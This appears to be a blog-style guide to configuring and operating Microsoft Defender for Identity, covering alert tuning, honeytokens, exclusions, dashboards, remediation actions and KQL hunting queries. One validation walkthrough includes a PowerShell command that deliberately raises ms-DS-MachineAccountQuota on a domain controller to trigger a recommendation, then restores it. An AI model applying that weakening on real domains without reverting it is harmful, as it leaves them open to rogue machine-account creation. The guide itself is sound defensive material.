Each alert also includes built-in logic, such as thresholds and activity filtering, to reduce false positives.
If you set lower thresholds, you'll get more alerts, but if you set higher thresholds, you'll get less noise.
You just have to let the system learn and then experiment with the settings a bit, to find the best balance with the least amount of false positives for your environment.
If you enable <code>Recommended test mode</code>, or set the threshold to Medium or Low, you'll get immediate alerts even if the learning period isn't finished.</p>
<ol>
<li>To adjust the alert thresholds you go to the <strong>Defender portal</strong> -&gt; <strong>System</strong> -&gt; <strong>Settings</strong> -&gt; <a href="https://security.microsoft.com/securitysettings/identities" target="_blank" rel="noreferrer">Identities</a> and navigate to <strong>Adjust alert thresholds</strong>.</li>
<li>Here you can enable the <strong>Recommended test mode</strong> or set the thresholds you want.</li>
</ol>
<img src="\security\identity\Settings-AlertsThresholds.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<hr>
<h3 id="entity-tags" tabindex="-1">Entity tags <a class="header-anchor" href="#entity-tags" aria-label="Permalink to &quot;Entity tags&quot;">&ZeroWidthSpace;</a></h3>
<p>In Microsoft Defender for Identity, <strong>Entity tags</strong> are labels that you assign to specific identities, such as users, devices or groups, to indicate a higher level of security relevance.
These tags provide context about an entity’s sensitivity or role, helping Defender for Identity to prioritise, detect and respond to threats more effectively.</p>
<p>The following accounts, devices and groups are tagged sensitive by default:</p>
<ul>
<ul>
<li>Administrators</li>
<li>Power Users</li>
<li>Account Operators</li>
<li>Server Operators</li>
<li>Print Operators</li>
<li>Backup Operators</li>
<li>Replicators</li>
<li>Network Configuration Operators</li>
<li>Incoming Forest Trust Builders</li>
<li>Domain Admins</li>
<li>Domain Controllers</li>
<li>Group Policy Creator Owners</li>
<li>Read-only Domain Controllers</li>
<li>Enterprise Read-only Domain Controllers</li>
<li>Schema Admins</li>
<li>Enterprise Admins</li>
<li>Microsoft Exchange Servers</li>
<li>Certificate Authority Server</li>
<li>DHCP Server</li>
<li>DNS Server</li>
<li>Microsoft Exchange Server</li>
</ul>
</ul>
<p>You can additionally configure three types of <strong>Entity tag</strong> manually: <strong>Sensitive</strong>, <strong>Honeytoken</strong> and <strong>Exchange server</strong>.</p>
<ol>
<ol>
<li>To start creating <b>Entity tags</b> go to the <b>Defender portal</b> -> <b>System</b> -> <b>Settings</b> -> <a href="https://security.microsoft.com/securitysettings/identities" target="_blank">Identities</a> and navigate to one of the 3 tag pages <b>Sensitive</b>, <b>Honeytoken</b> or <b>Exchange server</b>.</li>
<li>Here you can start tagging users, devices or groups, depending on the tag.</li>
</ol>
</ol>
<p><b>Sensitive:</b> This tag identifies high-value or sensitive assets that have not yet been tagged and which, if compromised, would pose a significant security risk.</p>
<img src="\security\identity\Settings-Sensitive.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p><b>Honeytoken:</b> Honeytokens are deliberately planted fake accounts or digital assets designed to lure attackers and reveal unauthorized activity.
To use this, you just create a account in an obvoius position with deliberatly bad security. When marked as honeytoken, the account will get tight monitoring, so when an attacker uses the account you instantly know about it.</p>
<img src="\security\identity\Settings-Honeytoken.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p><b>Exchange Server:</b> You can use this tag for devices that host additional Exchange services.</p>
<img src="\security\identity\Settings-Exchange.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<hr>
<h3 id="actions-and-exclusions" tabindex="-1">Actions and exclusions <a class="header-anchor" href="#actions-and-exclusions" aria-label="Permalink to &quot;Actions and exclusions&quot;">&ZeroWidthSpace;</a></h3>
<p>MDI enables you to exclude specific IP addresses, devices, domains or users from detection.
For instance, an authorised security scanner might trigger a DNS alerts.
By creating an exclusion, you can ensure that MDI ignores these known sources, thereby reducing false positives.
However, it is better to use alerts than exclusions, because exclusions are unconditional, whereas alerts can be tuned and reviewed more specifically.</p>
<p>There are 2 types of exclusions: <strong>Global excluded entities</strong> and <strong>Exclusions by detection rule</strong>.<br>
The first option simply excludes your IP addresses, devices, domains or users as you select them. The second option lets you select a threat detection rule and exclude your entities directly from a specific rule.
Use this method to create clearer exclusions. This will ensure that your entities are not vulnerable to other threats.</p>
<ol>
<li>To configure an exclusion, you go to the <strong>Defender portal</strong> -&gt; <strong>System</strong> -&gt; <strong>Settings</strong> -&gt; <a href="https://security.microsoft.com/securitysettings/identities" target="_blank" rel="noreferrer">Identities</a> and navigate to <strong>Global excluded entities</strong> or <strong>Exclusions by detection rule</strong>.</li>
<li>Under <strong>Global excluded entities</strong>, simply click <code>➕ Add</code> to exclude an entity across the board.
Alternatively, use <strong>Exclusions by detection rule</strong> to apply exclusions to specific rules. Click any rule to view its details or add an entity.</li>
</ol>
<img src="\security\identity\Settings-ExclusionRule.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<hr>
<h3 id="notifications" tabindex="-1">Notifications <a class="header-anchor" href="#notifications" aria-label="Permalink to &quot;Notifications&quot;">&ZeroWidthSpace;</a></h3>
<p>You can configure notifications for health and security alerts in MDI and let them be send via email or directly to your Syslog server.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>This feature is only supported by the MDI sensor v2.x at the moment.</p>
</div>
<ol>
<li>To configure a notification, you go to the <strong>Defender portal</strong> -&gt; <strong>System</strong> -&gt; <strong>Settings</strong> -&gt; <a href="https://security.microsoft.com/securitysettings/identities" target="_blank" rel="noreferrer">Identities</a> and navigate to <strong>Health issues notifications</strong> or <strong>Syslog notifications</strong>.</li>
<li>Under <strong>Health issues notifications</strong>, simply click <code>➕ Add</code> to add one or more E-Mail adresses where all notifications will go to.
Or use <strong>Syslog notifications</strong> to set up your syslog service and collect notifiactions that way.</li>
</ol>
<img src="\security\identity\Settings-Syslog.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="admin-experience" tabindex="-1">⌨️ Admin experience <a class="header-anchor" href="#admin-experience" aria-label="Permalink to &quot;:keyboard: Admin experience&quot;">&ZeroWidthSpace;</a></h2>
<p>After setting up MDI you can get started defending your users 👮
and for that you got a few options.</p>
<hr>
<h3 id="identities-blade" tabindex="-1">Identities blade <a class="header-anchor" href="#identities-blade" aria-label="Permalink to &quot;Identities blade&quot;">&ZeroWidthSpace;</a></h3>
<img src="\security\identity\identities.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<p><u>Dashboard</u></p>
<p>First, MDI unlocked a new section in in your Defender portal called <strong>Identities</strong> and opening that, your first blade is the <a href="https://security.microsoft.com/identities/dashboard" target="_blank" rel="noreferrer">Dashboard</a>.
This page shows you information about the overall identity makeup of your environment.</p>
<p>At the top you will first find the <strong>Identity overview shield</strong>.</p>
<p>This will give you a quick overview of your user numbers in hybrid, cloud, and on-premises.
You can also drill down by clicking onto the different user categories.</p>
<img src="\security\identity\Overview1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="750" loading="lazy"/>
<p>Directly underneath the overview, you find the <strong>Top insights</strong> divided into <strong>Users identified in a risky lateral movement path</strong> &amp; <strong>Dormant Active Directory users who should be removed from sensitive groups</strong>.</p>
<p>The first shows sensitive accounts with risky lateral movement paths.
The second lists accounts that are unused for over 180 days.</p>
<p>These are important clues for identifying potential attack paths and for you to investigate.</p>
<img src="\security\identity\after3_TopInsights.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>Underneath the top insights you find <strong>ITDR deployment health</strong> on the left.</p>
<p>This is just an overview of the MDI services you deployed and if they are healthy.</p>
<img src="\security\identity\Overview3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<p>Right next to the ITDR deployment health you find the <strong>Identity Secure score</strong> and the <strong>Highly privileged identities</strong> list.</p>
<p>The first represents your organization's security posture in regards to identity.
It is one part of the overall Microsoft secure score and gives you a good idea about how your security posture is evolving.</p>
<p>The second lists your sensitive accounts, with the option to drill down further.</p>
<img src="\security\identity\Overview2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>Further down on the page you will find a few more widgets that will fill when your environment matures and indicents happen.</p>
<table>
<thead>
<tr>
<th style="text-align:left">Name</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Identity related incidents</td>
<td style="text-align:left">It shows alerts from Defender for Identity and Microsoft Entra ID Protection, and any related incidents from the last 30 days.</td>
</tr>
<tr>
<td style="text-align:left">Domains with unsecured configuration</td>
<td style="text-align:left">It shows Active Directory domains that have unsecured configuration settings.</td>
</tr>
<tr>
<td style="text-align:left">Entra ID active users at risk</td>
<td style="text-align:left">It shows active user accounts that may be vulnerable.</td>
</tr>
</tbody>
</table>
<p><u>Service accounts</u></p>
<p>This page shows you a list of all your on-premises service accounts and their status.
In additionan, you get a shortcut to your secure OAuth apps, but for that to function, you need an activated Defender for cloud Apps.</p>
<img src="\security\identity\after3_Serviceaccounts.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p><u>Health issues</u></p>
<p>On this page, you get a list of your <strong>Global health issues</strong> and <strong>Sensor health issues</strong>.
You do not need to close these issues here. They will get closed automatically, when the problem is gone.</p>
<p>In the example in my screenshot, MDI detects that the sensor seem to be offline (because the server is off).
This will vanish as soon as I turn the server back on and the sensor checks back in.</p>
<img src="\security\identity\Health.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you want to learn more about which health issues can come up, click <a href="https://learn.microsoft.com/en-us/defender-for-identity/health-alerts#health-issues" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<p><u>Tools</u></p>
<p>In the tools section you will find a few links to helpfull stuff.</p>
<ul>
<ul>
<li>Microsoft Documentation</li>
<li>Sizing Tool</li>
<li>Readiness Script</li>
<li>PowerShell module</li>
</ul>
</ul>
<hr>
<h3 id="assets-blade" tabindex="-1">Assets blade <a class="header-anchor" href="#assets-blade" aria-label="Permalink to &quot;Assets blade&quot;">&ZeroWidthSpace;</a></h3>
<img src="\security\identity\Assets.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<p><u>Identities</u></p>
<p>MDI also unlocked a new section in in your <strong>Assets</strong> blade, called <a href="https://security.microsoft.com/identity-inventory" target="_blank" rel="noreferrer">Identities</a>.
This page shows you a list of your <strong>Identities</strong> or a list of your <strong>Cloud application account</strong>.</p>
<p>You can get infos about all your identities, regardless of whether there are real users or services and the option to drill down into all of it.</p>
<img src="\security\identity\Assets2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p><u>Users</u></p>
<p>If you drill down into a user, you will find a few interesting pages.</p>
<p>On the main page you find information about incidents, alerts, used devices, AD settings and other information from on-prem and the cloud.</p>
<table>
<thead>
<tr>
<th><img src="\security\identity\User1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/></th>
<th><img src="\security\identity\User2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/></th>
</tr>
</thead>
</table>
<p>One cool feature is that <span style="color:crimson">MDI correlates accounts</span> and shows you information not only about the account you are looking at, but also about all the other accounts that MDI thinks the user uses.
This should help with identifying attack paths and elevations.
You can also <span style="color:crimson">manually link accounts</span> belonging to a specific user.</p>
<img src="\security\identity\User3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>Of course, you will also see a correlated list of all the groups that this user and all his accounts belong to.</p>
<img src="\security\identity\User4.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>In the other tabs, you will find <strong>Security recommendations</strong>, <strong>Attack paths</strong> and, completely new as of February 2026, a list of the Conditional Access <strong>Policies</strong> to which the user must adhere.</p>
<img src="\security\identity\User5.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<img src="\security\identity\User6.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<hr>
<h3 id="recommendations" tabindex="-1">Recommendations <a class="header-anchor" href="#recommendations" aria-label="Permalink to &quot;Recommendations&quot;">&ZeroWidthSpace;</a></h3>
<p>In addition to the recommendations on the User page, MDI provides further recommendations to help you improve the security posture of your environment.</p>
<p><u>Sensor recommendations</u></p>
<p>When you open the <strong>Defender portal</strong> -&gt; <strong>System</strong> -&gt; <strong>Settings</strong> -&gt; <a href="https://security.microsoft.com/securitysettings/identities" target="_blank" rel="noreferrer">Identities</a> and click on an unhealthy sensor, you will get a flyout on the right side with information / recommendations about the sensor problems and what you can do about it.</p>
<table>
<thead>
<tr>
<th><img src="\security\identity\recommendation-sensor.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\security\identity\recommendation-sensor2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<p><u>Exposure management</u></p>
<p>When you open the <strong>Defender portal</strong> -&gt; <strong>Exposure management</strong> -&gt; <strong>Recommendations</strong> and select <a href="https://security.microsoft.com/exposure-recommendations?tabId=Identities" target="_blank" rel="noreferrer">Identities</a>,
you will get your <span style="color:crimson">Identities secure score</span>, a comparison to other orgs and <span style="color:crimson">Recommendations</span> to improve your score and with that, your security posture.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>To calculate the Identity secure score, Microsoft looks at your security configuration every 24 hours and compares it with the best practices.</p>
</div>
<p>To show you, how such a recommendation workflow can work, we go through it with the recommended workflow to <span style="color:crimson">validate your sensor deployments</span>.</p>
<ol>
<li>
<p>Go to one of your domain controllers that runs MDI and run the following PowerShell command.
This will missconfigure an AD setting on purpose.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-ADObject</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Identity ((</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-ADDomain</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">).distinguishedname) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-Replace</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"ms-DS-MachineAccountQuota"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"10"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div></li>
<li>
<p>Then reopen the Exposure Management Recommendations and select the <span style="color:crimson">Resolve Unsecure Domain Configuration</span> option.</p>
</li>
<li>
<p>After a short period of time, this issue should show you the status <strong>To address</strong>.</p>
</li>
</ol>
<img src="\security\identity\validate1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<ol start="3">
<li>
<p>Opening the recommendation, you will first see a <strong>Description</strong> of it and on the second page, you will see your next steps for resolving the problem.</p>
<table>
<thead>
<tr>
<th><img src="\security\identity\validate2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\security\identity\validate3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
</li>
<li>
<p>Even better, on the next page, <strong>Exposed entities</strong>, you will find the domain controller whose settings you changed. Click on it to get exact information about what is wrong with it.</p>
<table>
<thead>
<tr>
<th><img src="\security\identity\validate4.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\security\identity\validate5.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
</li>
<li>
<p>The last two pages tell you about <strong>Related initiatives</strong> and <strong>Related metrics</strong>. These show the impact that fixing this issue will have on your secure score and security initiatives that you may want to follow.</p>
<table>
<thead>
<tr>
<th><img src="\security\identity\validate6.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\security\identity\validate7.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
</li>
<li>
<p>Next, go back to your domain controller and run the following PowerShell command to restore the setting to its previous state.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-ADObject</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Identity ((</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-ADDomain</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">).distinguishedname) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-Replace</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"ms-DS-MachineAccountQuota"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"0"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div></li>
<li>
<p>When you now go back to the same <span style="color:crimson">Resolve Unsecure Domain Configuration</span> recommendation, you will see that the previously cited issue has been resolved.</p>
</li>
</ol>
<img src="\security\identity\validate8.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<hr>
<h3 id="remediation-actions" tabindex="-1">Remediation actions <a class="header-anchor" href="#remediation-actions" aria-label="Permalink to &quot;Remediation actions&quot;">&ZeroWidthSpace;</a></h3>
<p>MDI enables you to take immediate action on compromised accounts.
These response actions can be performed directly from the user page, the user side panel, the advanced hunting page or in the action center.</p>
<img src="\security\identity\RemediationActions.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<table>
<thead>
<tr>
<th>Remediation Action</th>
<th>Description</th>
<th>Scope</th>
</tr>
</thead>
<tbody>
<tr>
<td>Disable</td>
<td>You can disable accounts linked to an identity. Disabling blocks sign-in and network access, but does not delete the profile or related data.</td>
<td>Active Directory, Microsoft Entra ID and Okta</td>
</tr>
<tr>
<td>Enable</td>
<td>Re-enables previously disabled accounts.</td>
<td>Active Directory, Microsoft Entra ID and Okta</td>
</tr>
<tr>
<td>Revoke session</td>
<td>Revoke an active session.</td>
<td>Microsoft Entra ID and Okta</td>
</tr>
<tr>
<td>Mark as compromised</td>
<td>Marks all accounts linked to the selected identity as compromised in Entra.</td>
<td>Microsoft Entra ID</td>
</tr>
<tr>
<td>Force password change</td>
<td>Force a password change at next sign-in, preventing further impersonation.</td>
<td>Active Directory</td>
</tr>
<tr>
<td>Deactivate</td>
<td>Use this action to permanently deactivate a detected malicious account.</td>
<td>Okta</td>
</tr>
<tr>
<td>Set account risk to High/Medium/Low</td>
<td>Set the account risk score to a defined level. Available only if the Risk Scoring feature is enabled.</td>
<td>Okta</td>
</tr>
</tbody>
</table>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>To learn more about, which Entra role you need to perform these actions, click <a href="https://learn.microsoft.com/en-us/defender-for-identity/remediation-actions#roles-and-permissions" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<hr>
<h3 id="security-alerts" tabindex="-1">Security alerts <a class="header-anchor" href="#security-alerts" aria-label="Permalink to &quot;Security alerts&quot;">&ZeroWidthSpace;</a></h3>
<p>MDI security alerts provide information about suspicious activities detected, along with the accounts and computers involved.
The Identity alerts page in Defender XDR provides a unified, cross-domain security view by correlating MDI signals with data from the other security products available.</p>
<p>The alerts are categorised and arrive in 2 different formats in the Defender portal.
Both originate from the MDI sensor, but <strong>classic alerts</strong> are not yet migrated to the <strong>unified defender portal</strong> (A Microsoft initiative to unify security signals into a single pane of glass).</p>
<p>You can find a full list of all classic alerts <a href="https://learn.microsoft.com/en-us/defender-for-identity/alerts-mdi-classic" target="_blank" rel="noreferrer">here</a> and of the new XDR alerts <a href="https://learn.microsoft.com/en-us/defender-for-identity/alerts-xdr" target="_blank" rel="noreferrer">here</a>.</p>
<ol>
<li>
<p>To get a look at the current alerts open the <strong>Defender portal</strong> -&gt; <strong>Investigation &amp; response</strong> -&gt; <strong>Incidents &amp; alerts</strong> and select <a href="https://security.microsoft.com/alerts" target="_blank" rel="noreferrer">Alerts</a>.</p>
<p>(Microsoft screenshot, got no Alerts 🤷)
<img src="\security\identity\filtered-alerts.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="850" loading="lazy"/></p>
</li>
<li>
<p>When you open one of the alerts you get the information you need to investigate, classify and remediate the problem.</p>
</li>
</ol>
<img src="\security\identity\defender-xdr-alert-structure.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em; border: 1px solid grey" alt="drawing" width="850" loading="lazy"/>
<hr>
<h3 id="identity-security-initiative" tabindex="-1">Identity Security Initiative <a class="header-anchor" href="#identity-security-initiative" aria-label="Permalink to &quot;Identity Security Initiative&quot;">&ZeroWidthSpace;</a></h3>
<p>Security metrics measure exposure risk across different initiatives by grouping related asset recommendations.
Microsoft will provide a list of security initiatives that you can use to measure your security posture and progress.</p>
<ol>
<li>To look at these initiatives, you go to the <strong>Defender portal</strong> -&gt; <strong>Exposure management</strong> and select <a href="https://security.microsoft.com/exposure-initiatives" target="_blank" rel="noreferrer">Initiatives</a>.</li>
</ol>
<img src="\security\identity\Initiatives1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="850" loading="lazy"/>
<ol start="2">
<li>There is also a specialised <strong>Identity Security page</strong> to help you progress to a more robust identity security posture.</li>
</ol>
<img src="\security\identity\Initiatives2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="450" loading="lazy"/>
<ol start="3">
<li>When you click <code>Open initiative page</code>, you will see an overview of your current status, as well as tabs for the <strong>security metrics</strong> included in this initiative, <strong>Security recommendations</strong> and your historical progress.</li>
</ol>
<img src="\security\identity\Initiatives3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="850" loading="lazy"/>
<hr>
<h3 id="identity-s-security-posture-assessments" tabindex="-1">Identity's security posture assessments <a class="header-anchor" href="#identity-s-security-posture-assessments" aria-label="Permalink to &quot;Identity's security posture assessments&quot;">&ZeroWidthSpace;</a></h3>
<p>MDI features continuous monitoring of on-premises and cloud environments to identify weak spots and delivers accurate assessment reports to support a proactive, ongoing security cycle.
This is realized through the security scores and differend categories Microsoft provides.</p>
<p>Following, I listed the information Microsoft provides for the different available categories:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/hybrid-security" target="_blank" rel="noreferrer">Hybrid security posture assessments</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/identity-infrastructure" target="_blank" rel="noreferrer">Identity infrastructure security posture assessments</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/certificates" target="_blank" rel="noreferrer">Certificates security posture assessments</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/group-policy" target="_blank" rel="noreferrer">Group policy security posture assessments</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/accounts" target="_blank" rel="noreferrer">Accounts security posture assessments</a></li>
<li><a href="https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/cloud-identities" target="_blank" rel="noreferrer">Cloud identities security posture assessments</a></li>
</ul>
<hr>
<h3 id="advanced-hunting" tabindex="-1">Advanced hunting <a class="header-anchor" href="#advanced-hunting" aria-label="Permalink to &quot;Advanced hunting&quot;">&ZeroWidthSpace;</a></h3>
<p>There are also options for using the information gathered by MDI in your advanced hunting queries.</p>
<p>To demonstrate this, we will once again use the recommended actions to <span style="color:crimson">validate your sensor deployments</span>.</p>
<p>In the Defender portal's <a href="https://dehunting.cmd.ms" target="_blank" rel="noreferrer">Advanced hunting</a> page, u can use the following KQL queries to check that MDI sends data as expected.</p>
<div class="language-KQL vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">KQL</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">IdentityInfo </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> AccountDomain </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">contains</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "domain"</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> // insert domain</span></span></code></pre>
</div><p>This query shows identy info with a specific domain.</p>
<img src="\security\identity\hunting1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="language-KQL vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">KQL</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">IdentityQueryEvents </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> DeviceName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">contains</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "DC_FQDN"</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> // insert domain controller FQDN</span></span></code></pre>
</div><p>This query shows identity query events (e.g. queries performed against AD objects) which involved a device with a specific FQDN.</p>
<img src="\security\identity\hunting2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="language-KQL vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">KQL</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">IdentityDirectoryEvents</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> TargetDeviceName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">contains</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "DC_FQDN"</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> // insert domain controller FQDN</span></span></code></pre>
</div><p>This query shows identity directory events (e.g. password changes, UPN changes or system events like PowerShell activity) which involved a device with a specific FQDN.</p>
<img src="\security\identity\hunting3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<p>If you tried these queries and you found them returning information, then you can be sure that the sensor functions correctly.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you want to learn more about the different tables you can use in KQL queries, click <a href="https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-schema-tables" target="_blank" rel="noreferrer">here</a>.</p>
</div>
